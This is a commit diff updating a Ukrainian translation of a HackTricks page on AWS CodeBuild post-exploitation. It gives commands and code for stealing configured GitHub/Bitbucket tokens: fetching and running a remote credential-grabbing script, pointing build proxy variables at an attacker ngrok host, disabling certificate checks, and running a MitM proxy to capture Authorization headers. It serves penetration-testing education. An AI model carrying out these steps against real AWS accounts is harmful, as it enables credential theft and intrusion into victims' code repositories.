Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-04-01 12:38:32 +00:00
parent f669910ad2
commit e5fb9e2482

View File

@@ -2,47 +2,57 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Відновлення Github/Bitbucket налаштованих Tokens
## Відновлення налаштованих Github/Bitbucket Tokens
Спочатку перевірте, чи є які-небудь налаштовані source credentials, які ви могли б leak:
Спочатку перевірте, чи є налаштовані source credentials, які ви могли б leak:
```bash
aws codebuild list-source-credentials
```
### Через Docker Image
### Через RCE у CodeBuild-завданні
Якщо ви виявите, що в акаунті налаштована автентифікація, наприклад до Github, ви можете **exfiltrate** цей **access** (**GH token або OAuth token**), змусивши Codebuild **use an specific docker image** для запуску збірки проекту.
Зсередини CodeBuild-завдання можна звернутися до недокументованого AWS CodeBuild API endpoint, який поверне облікові дані, що використовуються CodeBuild. Це можна використати, щоб отримати облікові дані, з якими було налаштовано CodeBuild-завдання, напр.: AWS CodeConnection облікові дані, OAUTH або PAT облікові дані. CodeBuild-завданню не потрібно мати підвищені привілеї для звернення до цього endpoint, і це також важко виявити у логах та моніторингу, оскільки сам CodeBuild викликає цей endpoint кілька разів при старті.
Для цього ви можете **create a new Codebuild project** або змінити **environment** існуючого, щоб встановити **Docker image**.
Техніку детальніше описано в [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/), але коротко, щоб отримати облікові дані всередині CodeBuild-завдання, достатньо виконати наступне:
```
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
```
### Via Docker Image
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який встановить **env variables `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** і **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**.
Якщо ви виявите, що в обліковому записі налаштовано автентифікацію, наприклад до Github, ви можете **exfiltrate** той **access** (**GH token or OAuth token**) змусивши Codebuild **use an specific docker image** для запуску збірки проєкту.
Для цього ви можете **create a new Codebuild project** або змінити **environment** існуючого, щоб вказати **Docker image**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже простий Docker image, який встановить **env variables `https_proxy`**, **`http_proxy`** і **`SSL_CERT_FILE`**. Це дозволить перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** і **`http_proxy`**, та довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**.
1. **Create & Upload your own Docker MitM image**
- Дотримуйтесь інструкцій репозиторію, щоб вказати IP-адресу проксі та SSL сертифікат і **збудувати Docker image**.
- Дотримуйтесь інструкцій репозиторію, щоб вказати IP-адресу проксі, встановити SSL-сертифікат та **build the docker image**.
- **DO NOT SET `http_proxy`** щоб не перехоплювати запити до metadata endpoint.
- Ви можете використати **`ngrok`**, наприклад `ngrok tcp 4444`, щоб встановити проксі на ваш хост
- Після того як ви збудуєте Docker image, **upload it to a public repo** (Dockerhub, ECR...)
- Ви можете використати **`ngrok`**, наприклад `ngrok tcp 4444`, щоб спрямувати проксі на ваш хост
- Коли Docker image збудовано, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Створіть **new Codebuild project** або змініть **environment** існуючого.
- Встановіть у проекті використання **previously generated Docker image**
- Створіть **new Codebuild project** або **modify** середовище існуючого.
- Встановіть проєкт для використання **previously generated Docker image**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Встановіть MitM proxy на вашому хості**
3. **Set the MitM proxy in your host**
- Як вказано в **Github repo**, ви можете використати щось на кшталт:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> Використана версія **mitmproxy — 9.0.1**, повідомлялося, що з версією 10 це може не працювати.
> The **mitmproxy version used was 9.0.1**, повідомлялося, що з версією 10 це може не працювати.
4. **Запустіть build та перехопіть credentials**
4. **Запустіть збірку та перехопіть облікові дані**
- Ви можете побачити token у заголовку **Authorization**:
- Ви можете побачити токен у заголовку **Authorization**:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Це також можна зробити через aws cli за допомогою команди на кшталт
Це також можна зробити з aws cli за допомогою команди на кшталт
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +83,15 @@ aws codebuild start-build --project-name my-project2
```
### Через insecureSSL
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, який надає платформа.
**Codebuild** проекти мають налаштування під назвою **`insecureSsl`**, яке приховано у веб-інтерфейсі — його можна змінити лише через API.\
Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, наданого платформою.
- Спочатку потрібно перелічити поточну конфігурацію за допомогою чогось на кшталт:
- Спочатку потрібно enumerate поточну конфігурацію за допомогою чогось на кшталт:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Потім, маючи зібрану інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Наведено приклад мого оновлення проекту, зверніть увагу на **`insecureSsl=True`** в кінці (це єдине, що потрібно змінити у зібраній конфігурації).
- Крім того, додайте також змінні оточення **http_proxy** та **https_proxy**, які вказують на ваш tcp ngrok, наприклад:
- Потім, зібравши інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Нижче приклад мого оновлення проекту зверніть увагу на **`insecureSsl=True`** в кінці (це єдине, що потрібно змінити у зібраній конфігурації).
- Крім того, додайте також змінні середовища **http_proxy** і **https_proxy**, які вказують на ваш tcp ngrok, наприклад:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +125,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному в proxy variables (http_proxy and https_proxy)
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними проксі (http_proxy та https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +138,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Нарешті, натисніть на **Build the project**, **облікові дані** будуть **відправлені у відкритому тексті** (base64) на порт mitm:
- Нарешті, натисніть на **Build the project**, **credentials** будуть **відправлені у відкритому вигляді** (base64) на mitm порт:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Через протокол HTTP~~
### ~~Через HTTP протокол~~
> [!TIP] > **Ця вразливість була виправлена AWS десь на тижні, що починався 20 лютого 2023 року (мабуть у п’ятницю). Тож атакувати її вже не можна :)**
> [!TIP] > **Цю вразливість AWS виправили приблизно на тижні, що починався 20 лютого 2023 року (ймовірно в п’ятницю). Тому атакуючий більше не може її використовувати :)**
Зловмисник з **підвищеними правами в CodeBuild може leak налаштований Github/Bitbucket token**, або якщо права були налаштовані через OAuth, **тимчасовий OAuth token, який використовується для доступу до коду**.
Атакуючий з **підвищеними правами над CodeBuild може leak Github/Bitbucket token**, що налаштований, або якщо права були налаштовані через OAuth, **тимчасовий OAuth token, що використовується для доступу до коду**.
- Зловмисник може додати змінні середовища **http_proxy** і **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад `http://5.tcp.eu.ngrok.io:14972`).
- Атакуючий може додати змінні середовища **http_proxy** та **https_proxy** в проект CodeBuild, вказавши на свою машину (наприклад `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Потім змініть URL репозиторію github, щоб використовувати HTTP замість HTTPS, наприклад: `http://github.com/carlospolop-forks/TestActions`
- Після цього запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними proxy (http_proxy та https_proxy)
- Потім змініть URL github repo, щоб використовувати HTTP замість HTTPS, наприклад: `http://github.com/carlospolop-forks/TestActions`
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порті, вказаному змінними проксі (http_proxy та https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Далі натисніть на **Побудувати проект** або запустіть збірку з командного рядка:
- Далі натисніть на **Build the project** або запустіть збірку з командного рядка:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Нарешті, **облікові дані** будуть **відправлені у відкритому вигляді** (base64) на порт mitm:
- Нарешті, **credentials** будуть **відправлені у clear text** (base64) на mitm port:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Тепер attacker зможе використати token зі своєї машини, переглянути всі привілеї, які він має, і (ab)use легше, ніж безпосередньо використовуючи сервіс CodeBuild.
> Тепер attacker зможе використовувати token зі своєї машини, переглянути всі привілеї, які він має, та (ab)use легше, ніж при безпосередньому використанні CodeBuild.
## Виконання неперевіреного PR через неправильну конфігурацію фільтра webhook
## Виконання Untrusted PR через неправильну конфігурацію фільтра webhook
Для PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), перевірте:
Для ланцюга обходу webhook, що запускається PR (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), перевірте:
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md